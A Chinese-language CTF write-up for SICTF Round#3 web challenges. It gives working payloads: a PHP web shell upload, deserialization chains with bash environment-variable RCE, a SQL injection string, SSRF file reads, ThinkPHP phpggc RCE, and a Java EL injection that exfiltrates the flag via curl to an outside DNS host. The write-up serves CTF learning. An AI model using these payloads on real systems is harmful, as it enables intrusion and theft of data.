SICTF Round#3
100%_upload
文件上传没有难题 (bushi)
连上靶机, 发现 url 为: /index.php?file=upload.php
, 猜测为 include
于是我们尝试使用 file://
协议打一下, 发现 file:///flag
被过滤掉了, 于是我们试着打印以下 Upload 的内容, 采用 base64 的 wrapper
<?php
if(isset($_FILES['upfile'])){
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['upfile']['name']);
$ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);
$text = file_get_contents($_FILES['upfile']['tmp_name']);
echo $ext;
if (!preg_match("/ph.|htaccess/i", $ext)){
if(preg_match("/<\?php/i", $text)){
echo "茂夫说:你的文件内容不太对劲哦<br>";
}
else{
move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);
echo "上传成功<br>路径为:" . $uploadfile . "<br>";
}
}
else {
echo "恶意后缀哦<br>";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>上传文件</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-image: url('100.jpg');
background-size: cover;
background-position: center;
}
.container {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
form {
background-color: rgba(255, 255, 255, 0.8);
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
input[type="file"] {
margin-bottom: 10px;
}
input[type="submit"] {
background-color: #007bff;
color: #fff;
padding: 10px 15px;
border: none;
border-radius: 4px;
cursor: pointer;
}
input[type="submit"]:hover {
background-color: #0056b3;
}
</style>
</head>
<body>
<div class="container">
<form action="upload.php" method="POST" enctype="multipart/form-data">
<p>请不要上传php脚本哈,不然我们可爱的茂夫要生气啦</p>
<input type="file" name="upfile" value="" />
<br>
<input type="submit" name="submit" value="提交" />
</form>
</div>
</body>
</html>
发现后端的过滤其实很简单, 文件后缀不为 .ph* | .htaccess
(甚至 .ini
都没有被禁用我哭死), 文件中不能包含 <?php
于是我们尝试使用短标签过滤一下, 传入马, 文件名后缀随意
<? eval($_POST[0]);
上传成功通过 index.php 的 include 来用 AntSword 连接, 或者你自己手动打一个 file_get_contents
都可以
Not ju2st unserialize
反序列化没有难题 (bushi)
打开靶机, 我们看到:
<?php
highlight_file(__FILE__);
class start
{
public $welcome;
public $you;
public function __destruct()
{
$this->begin0fweb();
}
public function begin0fweb()
{
$p='hacker!';
$this->welcome->you = $p;
}
}
class SE{
public $year;
public function __set($name, $value){
echo ' Welcome to new year! ';
echo($this->year);
}
}
class CR {
public $last;
public $newyear;
public function __tostring() {
if (is_array($this->newyear)) {
echo 'nonono';
return false;
}
if (!preg_match('/worries/i',$this->newyear))
{
echo "empty it!";
return 0;
}
if(preg_match('/^.*(worries).*$/',$this->newyear)) {
echo 'Don\'t be worry';
} else {
echo 'Worries doesn\'t exists in the new year ';
empty($this->last->worries);
}
return false;
}
}
class ET{
public function __isset($name)
{
foreach ($_GET['get'] as $inject => $rce){
putenv("{$inject}={$rce}");
}
system("echo \"Haven't you get the secret?\"");
}
}
if(isset($_REQUEST['go'])){
unserialize(base64_decode($_REQUEST['go']));
}
?>
从 ET
的命令执行一点点往上走吧
ET
可以看到需要调用__isset
, 考虑empty()
, 找到CR->__tostring()
- 需要调用
__tostring()
, 考虑echo
, 找到SE->set()
- 需要调用
SE->set()
, 找到start->begin0fweb()
, 找到__destruct
, 链子找到
我们再来看看 CR->__tostring()
里面的过滤条件, 发现 /worries/i
那个判断需要其中包含worries
, 第二个 /^.*(worries).*$/
要求不包含 worries
, 进行了行匹配但是并没有开启多行匹配 /m
, 于是我们使用 \nworries
即可绕过, 最终的反序列化链子如下:
$start = new start();
$se = new SE();
$cr = new CR();
$et = new ET();
$cr->newyear = "\nworries";
$cr->last = $et;
$se->year = $cr;
$start->welcome = $se;
echo base64_encode(serialize($start));
之后就是那个 RCE 了, 通过设置环境变量来导致 RCE, 我们可以参考文章: https://tttang.com/archive/1450/
尝试后打入参数 get[BASH_FUNC_echo%%]=() { ls / ; }
(请进行 urlencode)
关注到 /ffffllllllaaaaaaaaaaaaaaaaaaggggg
, 于是再提交 get[BASH_FUNC_echo%%]=() { cat /ffffllllllaaaaaaaaaaaaaaaaaaggggg ; }
即可拿到 flag
hacker
注入! 什么?有过滤?
这道题是一个无列名注入
首先我们访问之后, 发现提示 <!--flag在flag表里-->
, 同时注入点为 ?username=
我们尝试进行注入, 发现waf了空格和 or
, 这就很难办了, 我们查询不了 information_schema
表了, 于是考虑无列名注入
首先我们用 ORDER BY
了解到当前 SELECT 数据有 1 列, 我们利用 select + union select 自定义字段名, 同时空格用 /**/
过滤一下
参考 H3 师傅的文章: 链接, 注意后面的列名打个单引号!
注入 payload 如下
joe'/**/union/**/select/**/a/**/from/**/(select/**/1,'a'/**/union/**/select/**/*/**/from/**/ctf.flag)x#
EZ_SSRF
打开发现
<?php
function get($url) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($curl);
curl_close($curl);
//echo base64_encode($data);
return $data;
}
class client{
public $url;
public $payload;
public function __construct()
{
$url = "http://127.0.0.1/";
$payload = "system(\"cat /flag\");";
}
public function __destruct()
{
get($this->url);
}
}
curl, file://
协议, 直接打 file:///var/www/html/flag.php
写入
$client = new client();
$client->url = "file:///var/www/html/flag.php";
echo urlencode(serialize($client));
payload: O%3A6%3A%22client%22%3A2%3A%7Bs%3A3%3A%22url%22%3Bs%3A29%3A%22file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3Bs%3A7%3A%22payload%22%3BN%3B%7D
Oyst3rPHP
我们拿到题目先用 Yakit 进行一个目录扫描, 发现 www.zip
, 下载下来后得到源码
关注到 app/controller/Index.php
, 关键代码如下
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈";
echo "<img src='../Oyster.png'"."/>";
$payload = base64_decode(@$_POST['payload']);
$right = @$_GET['left'];
$left = @$_GET['right'];
$key = (string)@$_POST['key'];
if($right !== $left && md5($right) == md5($left)){
echo "Congratulations on getting your first oyster";
echo "<img src='../Oyster1.png'"."/>";
if(preg_match('/.+?THINKPHP/is', $key)){
die("Oysters don't want you to eat");
}
if(stripos($key, '603THINKPHP') === false){
die("!!!Oysters don't want you to eat!!!");
}
echo "WOW!!!Congratulations on getting your second oyster";
echo "<img src='../Oyster2.png'"."/>";
unserialize($payload);
//最后一个生蚝在根目录,而且里面有Flag???咋样去找到它呢???它的名字是什么???
//在源码的某处注释给出了提示,这就看你是不是真懂Oyst3rphp框架咯!!!
//小Tips:细狗函数┗|`O′|┛ 嗷~~
}
}
}
我们一个一个判断的过, 首先是 MD5 比较, 我们采用 fastcoll
生成一组对应的, 比如我构造出:
/?left=%A65%0DA%0B7m%E7%9B%83%89%88%0E%87%A5%3EZN%84%C9%E3s%D7T%40%B2A9X%C0%0E%FE%3B%04%F8%E8%C0u%F7%10OP%3C%21%E1%D3%B1%7DbLb%A0%BAkUh%00%17%24Wm%F9%88%DBH%F1%1E%15%91F%E8C%A1%1A%04%E31%FF%0E%A2%B2d%8A%29%1Ay%21%15%D5%5B%13%C5%D0%60Y2%01%89%9F%C2%5B%96q%15c%B0%AC%EF%9A%9AW%E8%A9%A4d%B3pO%B9%E7%05%EB%3DD%3C%1C%D0%BF&right=%A65%0DA%0B7m%E7%9B%83%89%88%0E%87%A5%3EZN%84I%E3s%D7T%40%B2A9X%C0%0E%FE%3B%04%F8%E8%C0u%F7%10OP%3C%21%E1S%B2%7DbLb%A0%BAkUh%00%17%24%D7m%F9%88%DBH%F1%1E%15%91F%E8C%A1%1A%04%E31%FF%0E%A2%B2d%8A%A9%1Ay%21%15%D5%5B%13%C5%D0%60Y2%01%89%9F%C2%5B%96q%15c%B0%AC%EF%9A%1AW%E8%A9%A4d%B3pO%B9%E7%05%EB%3D%C4%3C%1C%D0%BF
然后是一个正则+stripos, 这个 stripos 无懈可击, 只有看看正则了, 正则的话我们可以利用回溯攻击来进行, 构造出如下
POST /?left=%A65%0DA%0B7m%E7%9B%83%89%88%0E%87%A5%3EZN%84%C9%E3s%D7T%40%B2A9X%C0%0E%FE%3B%04%F8%E8%C0u%F7%10OP%3C%21%E1%D3%B1%7DbLb%A0%BAkUh%00%17%24Wm%F9%88%DBH%F1%1E%15%91F%E8C%A1%1A%04%E31%FF%0E%A2%B2d%8A%29%1Ay%21%15%D5%5B%13%C5%D0%60Y2%01%89%9F%C2%5B%96q%15c%B0%AC%EF%9A%9AW%E8%A9%A4d%B3pO%B9%E7%05%EB%3DD%3C%1C%D0%BF&right=%A65%0DA%0B7m%E7%9B%83%89%88%0E%87%A5%3EZN%84I%E3s%D7T%40%B2A9X%C0%0E%FE%3B%04%F8%E8%C0u%F7%10OP%3C%21%E1S%B2%7DbLb%A0%BAkUh%00%17%24%D7m%F9%88%DBH%F1%1E%15%91F%E8C%A1%1A%04%E31%FF%0E%A2%B2d%8A%A9%1Ay%21%15%D5%5B%13%C5%D0%60Y2%01%89%9F%C2%5B%96q%15c%B0%AC%EF%9A%1AW%E8%A9%A4d%B3pO%B9%E7%05%EB%3D%C4%3C%1C%D0%BF HTTP/1.1
Host: yuanshen.life:37766
Content-Type: application/x-www-form-urlencoded
key={{nullbyte(1000000)}}603THINKPHP
上面这个使用了 Yakit, 具体含义不言而喻
之后就是反序列化点, 我们从 phpggc 拿一条链子出来, 构造 phpggc ThinkPHP/RCE3 system 'ls /' | base64 -w 0
即可, 再通过 POST 打入得到文件
关注到 /Oyst3333333r.php
, 于是打入 phpggc ThinkPHP/RCE3 system 'cat /Oyst3333333r.php' | base64 -w 0
最终 payload 如下
POST /?left=%A65%0DA%0B7m%E7%9B%83%89%88%0E%87%A5%3EZN%84%C9%E3s%D7T%40%B2A9X%C0%0E%FE%3B%04%F8%E8%C0u%F7%10OP%3C%21%E1%D3%B1%7DbLb%A0%BAkUh%00%17%24Wm%F9%88%DBH%F1%1E%15%91F%E8C%A1%1A%04%E31%FF%0E%A2%B2d%8A%29%1Ay%21%15%D5%5B%13%C5%D0%60Y2%01%89%9F%C2%5B%96q%15c%B0%AC%EF%9A%9AW%E8%A9%A4d%B3pO%B9%E7%05%EB%3DD%3C%1C%D0%BF&right=%A65%0DA%0B7m%E7%9B%83%89%88%0E%87%A5%3EZN%84I%E3s%D7T%40%B2A9X%C0%0E%FE%3B%04%F8%E8%C0u%F7%10OP%3C%21%E1S%B2%7DbLb%A0%BAkUh%00%17%24%D7m%F9%88%DBH%F1%1E%15%91F%E8C%A1%1A%04%E31%FF%0E%A2%B2d%8A%A9%1Ay%21%15%D5%5B%13%C5%D0%60Y2%01%89%9F%C2%5B%96q%15c%B0%AC%EF%9A%1AW%E8%A9%A4d%B3pO%B9%E7%05%EB%3D%C4%3C%1C%D0%BF HTTP/1.1
Host: yuanshen.life:37801
Content-Type: application/x-www-form-urlencoded
payload=Tzo0MToiTGVhZ3VlXEZseXN5c3RlbVxDYWNoZWRcU3RvcmFnZVxQc3I2Q2FjaGUiOjM6e3M6NDc6IgBMZWFndWVcRmx5c3lzdGVtXENhY2hlZFxTdG9yYWdlXFBzcjZDYWNoZQBwb29sIjtPOjI2OiJMZWFndWVcRmx5c3lzdGVtXERpcmVjdG9yeSI6Mjp7czoxMzoiACoAZmlsZXN5c3RlbSI7TzoyNjoiTGVhZ3VlXEZseXN5c3RlbVxEaXJlY3RvcnkiOjI6e3M6MTM6IgAqAGZpbGVzeXN0ZW0iO086MTQ6InRoaW5rXFZhbGlkYXRlIjoxOntzOjc6IgAqAHR5cGUiO2E6MTp7czozOiJrZXkiO3M6Njoic3lzdGVtIjt9fXM6NzoiACoAcGF0aCI7czoyMToiY2F0IC9PeXN0MzMzMzMzM3IucGhwIjt9czo3OiIAKgBwYXRoIjtzOjM6ImtleSI7fXM6MTE6IgAqAGF1dG9zYXZlIjtiOjA7czo2OiIAKgBrZXkiO2E6MTp7aTowO3M6ODoiYW55dGhpbmciO319Cg&key={{nullbyte(1000000)}}603THINKPHP
即可
[进阶]elInjection
Java EL 表达式
Jadx 反编译发现
public class TestController {
@RequestMapping({"/test"})
@ResponseBody
public String test(@RequestParam(name = "exp") String exp) {
ArrayList<String> list = new ArrayList<>();
list.add("Runtime");
list.add("exec");
list.add("invoke");
list.add("exec");
list.add("Process");
list.add("ClassLoader");
list.add("load");
list.add("Response");
list.add("Request");
list.add("Base64Utils");
list.add("ReflectUtils");
list.add("getWriter");
list.add("Thread");
list.add("defineClass");
list.add("bcel");
list.add("RequestAttributes");
list.add("File");
list.add("flag");
list.add("URL");
list.add("Command");
list.add("Inet");
list.add("System");
list.add("\\u");
list.add("\\x");
list.add("'");
Iterator<String> it = list.iterator();
while (it.hasNext()) {
String s = it.next();
if (exp.contains(s)) {
return "No";
}
}
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
SimpleContext simpleContext = new SimpleContext();
ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
valueExpression.getValue(simpleContext);
return exp;
}
}
这里使用了 EL 表达式, 同时过滤了很多参数, 我们考虑可以拼凑出一个 RCE 出来
由于过滤了很多参数, 我们试着先将其编码再解码, 一般用的是 Base64, 但我用的是 URLDecoder
Payload 如下:
请注意使用了 Yakit Fuzzer 语法
{{url(${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(java.net.UR".concat("LDecoder.decode(\"{{url({{p(javascript)}})}}\"))"))})}}
接下来就是 javascript
变量了, 出题人说直接读 /readflag
, 同时机器只有 DNS 出网, 于是我们使用 DNSLOG 外带
构造
curl `/readflag`.fagjd.z9z.top
然后处理一下得到
java.lang.Runtime.getRuntime().exec("bash -c {echo,Y3VybCBgL3JlYWRmbGFnYC5mYWdqZC56OXoudG9w}|{base64,-d}|{bash,-i}").getInputStream();
之后拿到 flag